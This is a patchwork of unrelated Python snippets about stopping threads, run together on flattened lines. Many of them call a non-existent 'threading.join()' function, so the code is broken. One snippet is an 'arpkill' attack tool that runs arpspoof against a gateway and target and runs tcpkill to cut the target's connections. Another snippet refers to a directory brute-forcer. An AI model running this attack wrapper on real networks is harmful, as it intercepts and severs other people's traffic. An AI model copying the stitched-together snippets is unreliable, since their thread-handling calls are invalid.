def run(): mythreads = list() for _ in range(threads): t = threading.Thread(target=dir_bruter, args=(words, )) t.start() for thread in mythreads: threading.join()
def stop_thread(): MyThread.STOP = True # ask self threads to stop try: threading.join() except: pass MyLogger.log(modulename, 'WARNING', "Stopped thread.") return
def stop_thread(self): self.STOP = True # ask self threads to stop if not self.inSync: self.lock.acquire() self.condition.notify() self.lock.release() for thrd in threading.enumerate(): try: threading.join() except: pass if self.debug: print("Stopped threads.") self.RGBstop() return
def stop_thread(): global STOP, DisplayLock STOP = True # ask self threads to stop try: with DisplayLock: DisplayLock.notify() for thrd in threading.enumerate(): try: threading.join() except: pass except: return if debug: print("Stopped threads.") return
def stop_thread(self): self.STOP = True # ask self threads to stop #self.sleepCond.acquire() with self.sleepCond: self.sleepCond.notify() #self.sleepCond.release() for thrd in threading.enumerate(): try: threading.join() except: pass if self.DEBUG: print("Stopped threads.") return
def main(): global t_arpspoof, t_tcpkill if os.name != 'posix': kout.error('Only support on GNU/Linux system.\n') os._exit(1) parse_args() kout.info('arpkill is running.\n') kout.info('attack information:\n') kout.out('\tinterface: %s\n' % INTERFACE) kout.out('\tgateway : %s\n' % GATEWAY) kout.out('\ttarget : %s\n' % TARGET) cmd_arpspoof = 'arpspoof -i %s -t %s %s -r' % (INTERFACE, GATEWAY, TARGET) cmd_tcpkill = 'tcpkill -i %s net %s' % (INTERFACE, TARGET) run_arpspoof = lambda: sp.Popen( cmd_arpspoof.split(), stdout=sp.PIPE, stderr=sp.PIPE, shell=False) run_tcpkill = lambda: sp.Popen( cmd_tcpkill.split(), stdout=sp.PIPE, stderr=sp.PIPE, shell=False) kout.info('arpspoof is running\n') t_arpspoof = threading.Thread(target=run_arpspoof).start() kout.info('tcpkill is running\n') t_tcpkill = threading.Thread(target=run_tcpkill).start() try: while True: time.sleep(1000) except KeyboardInterrupt: kout.info('waiting for all threads to stop.\n') os.system('killall arpspoof tcpkill >/dev/null') t_main = threading.current_thread() for thread in threading.enumerate(): if thread != t_main: threading.join(thread) kout.info('all threads are stopped.\n') return
import threading from threading import Thread f = open("prime.txt", "wt") class PrimeThread(Thread): def __init__(self, num): Thread.__init__(self) self.num = num def run(self): for n in range(2, self.num // 2): if self.num % n == 0: f.write(f"\n{self.num} is not a prime number") break else: f.write(f"\n{self.num} is a prime number") for n in range(1, 101): t = PrimeThread(n) t.start() for i in threading.enumerate(): if i != threading.current_thread(): threading.join() f.close()
""" Retorna si se esta descargando actualmente o no. """ return self.descargando def mensajeEmergente(self, mensaje): win = tk.Toplevel() win.wm_title("Tiempo transcurrido") lbtiempo = tk.Label(win, text=mensaje) lbtiempo.grid(row=0, column=0) quit = tk.Button(win, text="Close", fg="red", command=win.destroy) quit.grid(row=2, column=0) def terminar(self): cerrarConexion(self) root.destroy() def finalizarDescarga(self): self.sdetener.set("-") self.descargando = 0 if __name__ == '__main__': """ Si se llama este metodo, se crea la interfaz con la clase Application y se inicia """ root = tk.Tk() app = Application(master=root) app.mainloop() threading.join(1)
try: from run import main main.current_dir = os.path.split(os.path.abspath(sys.argv[0]))[0] main.init(); main.start(); except KeyboardInterrupt, e: main_thread = threading.current_thread(); if config.http_server("server.error.beep") == "enable": kout.error("\a"); else: kout.error(""); kout.cyan("kps"); kout.out(": shutting down server: "); try: for t in threading.enumerate(): if t != main_thread: t.join(); threading.join(timeout=5); kps_server.shutdown(socket.SHUT_WR) except RuntimeError: kout.red("\tFAILED\n"); if config.http_server("server.error.beep") == "enable": kout.error("\a"); else: kout.error(""); kout.cyan("kps"); kout.out(": force shutting down server.\n"); sys.exit(1); else: kout.cyan("\tOK\n"); kout.info(""); kout.cyan("kps"); kout.out(": exiting.\n"); sys.exit(0);
try: while True: time.sleep(1000) except KeyboardInterrupt: kout.info('waiting for all threads to stop.\n') os.system('killall arpspoof tcpkill >/dev/null') t_main = threading.current_thread() for thread in threading.enumerate(): if thread != t_main: threading.join(thread) kout.info('all threads are stopped.\n') return if __name__ == "__main__": try: main() except KeyboardInterrupt: if t_tcpkill or t_arpspoof: kout.info('Waiting for all threads to stop.') os.system('killall arpspoof tcpkill >/dev/null') t_main = threading.current_thread() for thread in threading.enumerate(): if thread != t_main: threading.join(thread) kout.error('user quit.\n') os._exit(1) else: kout.info('exitting.\n')
threads.append( th.Thread(target=find, args=( pre_p_min + (i * per_one_core), pre_p_min + ((i + 1) * per_one_core), ))) # # print([pre_p_min + (i*per_one_core), pre_p_min + ((i+1)*per_one_core)]) # print("Calculating...") for th in threads: th.run() for th in threads: if th.is_alive(): th.join() wyn = 20000000000000.0 act_ratio = 1 th_lck.acquire() for a_r in wyniki: temp = d_in for _ in range(k): temp *= (1.0 - a_r) r = abs(d_out - temp) if r < wyn: act_ratio = a_r wyn = r # def wyswietl(rati): # temp = d_in
def stop(self): """ """ print('Stop thread') threading.join(10)
def finalitzar(): global th if th is not None: th.join() print() sys.exit()